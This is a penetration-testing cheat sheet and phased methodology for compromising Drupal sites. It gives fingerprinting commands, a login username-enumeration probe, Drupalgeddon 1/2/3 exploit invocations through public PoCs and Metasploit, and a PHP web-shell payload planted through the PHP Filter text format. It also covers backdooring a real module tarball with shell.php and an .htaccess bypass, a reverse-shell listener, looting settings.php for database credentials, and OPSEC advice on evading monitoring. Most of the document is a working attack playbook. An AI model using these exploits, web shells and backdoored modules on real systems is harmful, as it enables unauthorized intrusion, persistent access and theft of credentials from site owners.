Drupal
Drupal is a PHP CMS (MySQL/PostgreSQL/SQLite backends) built around nodes, modules, and themes. Unlike WordPress theme editing, admin RCE usually means enabling PHP Filter, installing a backdoored module, or hitting a version-bound core bug (Drupalgeddon / 2 / 3). Always get the version first it decides the entire path.
Cheatsheet
# Identify
curl -sk http://<URL>/ | grep -iE 'Drupal|Generator|drupal'
curl -sk http://<URL>/robots.txt
curl -sk http://<URL>/CHANGELOG.txt | head -n 20 # Drupal 7 style
curl -sk http://<URL>/core/CHANGELOG.txt | head -n 20 # Drupal 8/9+
curl -sk http://<URL>/core/install.php | grep -iE 'Drupal|version'
# Automated enum (strongest for Drupal)
droopescan scan drupal --url http://<URL>/
droopescan scan drupal --url http://<URL>/ -e v,i,p,t
# Drupalgeddon (CVE-2014-3704) unauth SQLi → admin, D7.0–7.31
searchsploit drupal 7.3
# Example PoC lineage: EDB-34992 / drupalgeddon.py create admin
# Drupalgeddon2 (CVE-2018-7600) unauth RCE, <7.58 / <8.5.1 (and related 8.x)
# https://github.com/dreadlocked/Drupalgeddon2
ruby drupalgeddon2.rb http://<URL>/
# MSF: exploit/unix/webapp/drupal_drupalgeddon2 (set VHOST if needed)
# Drupalgeddon3 (CVE-2018-7602 / SA-CORE-2018-004) needs privileges (often delete)
# https://github.com/pimps/CVE-2018-7602
# After admin shell loot DB settings
# sites/default/settings.php (D7/D8 path family)// PHP Filter body (Text format = PHP code)
<?php system($_GET['cmd']); ?>
// Trigger: http://<URL>/node/<ID>?cmd=idMethodology
Phase 1: Fingerprint Version and Surface
Questions to ask
- Do generator meta,
/user/login,/node/<id>, or Drupal paths prove the stack? - What exact version do CHANGELOG / droopescan / install crumbs report?
- Is this D7 (PHP Filter often present) or D8+ (PHP Filter not bundled)?
- Are registration, XML-RPC-like services, or install leftovers exposed?
- Which modules/themes appear any with known RCEs?
curl -sk http://<URL>/ | grep -iE 'Drupal|Generator'
curl -sk http://<URL>/CHANGELOG.txt | head -n 20
curl -sk http://<URL>/core/CHANGELOG.txt | head -n 20
curl -sk http://<URL>/node/1
droopescan scan drupal --url http://<URL>/- Confirm Drupal; distinguish D7 vs D8/9/10 layout (
/core/present on modern). - Extract version from CHANGELOG when readable; otherwise droopescan version enum + checksums.
- Map
/user/login,/user/register,/admin,/node/1,sites/default/. - Inventory modules/themes;
searchsploit drupalonly for matching versions. - If CHANGELOG is 403/404, do not assume “not Drupal” continue with droopescan and UI chrome.
Phase 2: Auth, Users, and Low-Hanging Access
Questions to ask
- Does login error messaging oracle valid usernames?
- Is self-registration open, and what roles do new users get?
- Do default/weak
adminpasswords or breach reuse work? - What permissions does my account have administer modules? install modules? delete nodes?
- Is unauth Drupalgeddon2 in range so I can skip creds entirely?
# Username oracle probe (behavior varies by version/hardening)
curl -sk -X POST 'http://<URL>/?q=user/login' -d 'name=admin&pass=Wrong&form_id=user_login&op=Log+in' | grep -iE 'unrecognized|incorrect|error'
# Try weak/reused admin creds against /user/login
# Check registration
curl -sk -o /dev/null -w '%{http_code}\n' http://<URL>/user/register- Enumerate users where the oracle or
/user/<id>still leaks names. - Attempt credential reuse / weak admin before loud sprays.
- Record effective permissions after any successful login.
- If version ≤ Drupalgeddon2 range, prioritize Phase 3 unauth RCE over brute force.
- For Drupalgeddon3-class bugs, confirm the required privs (often node delete) before tooling.
Phase 3: Unauthenticated / Core RCE (Drupalgeddon Family)
Questions to ask
- Exact version vs CVE tables patched builds waste exploit time?
- Drupalgeddon (SQLi→admin) vs Drupalgeddon2 (unauth RCE) vs Drupalgeddon3 (auth RCE)?
- Does the PoC need a specific form path (
/user/register,/user/password, AJAX forms)? - Am I getting command output or a limited shell that needs a second-stage callback?
- Have I set VHOST correctly for name-based hosts in MSF/PoCs?
# Version gate, then pick one family
searchsploit drupalgeddon
# Drupalgeddon CVE-2014-3704 (D7.0–7.31): SQLi → create admin, then Phase 4
# python2 drupalgeddon.py --target http://<URL>/ ...
# Drupalgeddon2 CVE-2018-7600 (<7.58, <8.5.1 class): unauth RCE
ruby drupalgeddon2.rb http://<URL>/
# or: msfconsole → exploit/unix/webapp/drupal_drupalgeddon2
# Drupalgeddon3 CVE-2018-7602: authenticated Form API RCE (needs suitable perms)
# Use a PoC matched to D7/D8 after login
rlwrap ncat -lvnp <LPORT>- Match CVE to fingerprint; abort if outside range.
- Run one PoC path; prove
id/whoamibefore stacking payloads. - On limited shells, stage a proper reverse shell; then Orientation.
- Loot
sites/default/settings.phpfor DB credentials immediately after RCE. - Document PoC, version, and artifacts for the report.
OPSEC: Drupalgeddon2 was mass-scanned for years. On monitored hosts, prefer a single validated PoC over Metasploit + multiple fallbacks.
Phase 4: Authenticated RCE (PHP Filter / Module Upload)
Questions to ask
- Drupal < 8: is PHP Filter already available under Modules?
- Drupal 8+: can I install the PHP module from UI, or upload a backdoored contrib module?
- Does
/modulesblock direct PHP access do I need a crafted.htaccessin the archive? - Which content type + text format exposes
PHP codefor the payload node? - Can I remove the malicious node/module after proving impact?
# Drupal 7 PHP Filter present
Modules → enable "PHP filter" → Save
Content → Add content → Basic page/Article
Body: <?php system($_GET['cmd']); ?>
Text format: PHP code → Save
# Hit: /node/<ID>?cmd=id
# Drupal 8+ install PHP module, then same content trick
# wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
# Admin → Extend → Install new module (or Reports → Available updates → Install)
# Alternate: backdoor a real module tarball
wget https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-*.tar.gz
# Add shell.php + .htaccess (rewrite allow) into module dir → retar → Install new modulecurl -sk 'http://<URL>/node/<ID>?cmd=id'
# If module path web shell:
curl -sk 'http://<URL>/modules/<module>/shell.php?cmd=id'- Prefer PHP Filter on D7 when the module is already there.
- On D8+, install PHP module or upload a backdoored module with
.htaccessbypass for/modules. - Create content with Text format = PHP code; verify RCE via
curl. - Read
sites/default/settings.php; continue host post-ex. - Clean up nodes/modules; list paths in report appendices.
Reference
Roles
| Role | Value |
|---|---|
| Administrator | Full site control module install, PHP Filter, user/role admin |
| Authenticated | Permission-dependent; may enable Drupalgeddon3-class bugs |
| Anonymous | Read content; target for unauth core RCEs when unpatched |
Version Fingerprints
| Location | Notes |
|---|---|
/CHANGELOG.txt | Classic D7 often first line after header is version |
/core/CHANGELOG.txt | D8+ |
| Meta generator / droopescan checksums | When changelogs are denied |
/node/<id> | Confirms Drupal content model |
Newer installs commonly block CHANGELOG/README droopescan becomes primary.
Drupalgeddon Family
| Alias | CVE | Auth | Approx. range | Impact |
|---|---|---|---|---|
| Drupalgeddon | CVE-2014-3704 | No | D7.0–7.31 (fixed 7.32) | SQLi → admin / code exec paths |
| Drupalgeddon2 | CVE-2018-7600 | No | <7.58, <8.5.1 (8.3/8.4 patched lines) | Unauth RCE via Form API / render arrays |
| Drupalgeddon3 | CVE-2018-7602 | Yes (privs) | Multiple 7.x / 8.x | Form API RCE with privileges |
Drupalgeddon2 abuses insufficient sanitization of Form API keys starting with # (#post_render, #pre_render, #lazy_builder, …) leading to dangerous PHP callbacks (exec, etc.).
Admin RCE Patterns
| Drupal | Technique |
|---|---|
| < 8 | Enable bundled PHP Filter → PHP-code node |
| 8+ | Install PHP module from UI, then PHP-code node |
| 8+ (restricted install) | Upload backdoored module + .htaccess so /modules/.../shell.php is reachable |
High-Value Files
| File | Why |
|---|---|
sites/default/settings.php | DB credentials, config secrets |
Module/theme directories under sites/ or /modules | Custom code, forgotten backups |
Tooling
| Tool | Use |
|---|---|
droopescan | Version, modules, themes, interesting URLs |
searchsploit / EDB | Version-gated PoCs |
MSF drupal_drupalgeddon2 | Automates CVE-2018-7600 when VHOST/URL correct |
| dreadlocked/Drupalgeddon2 | Standalone Ruby PoC |
#PenetrationTesting #RedTeam #Linux #Drupal #Drupalgeddon #CMS #WebAppPentest #Exploit #RCE #Vulnerability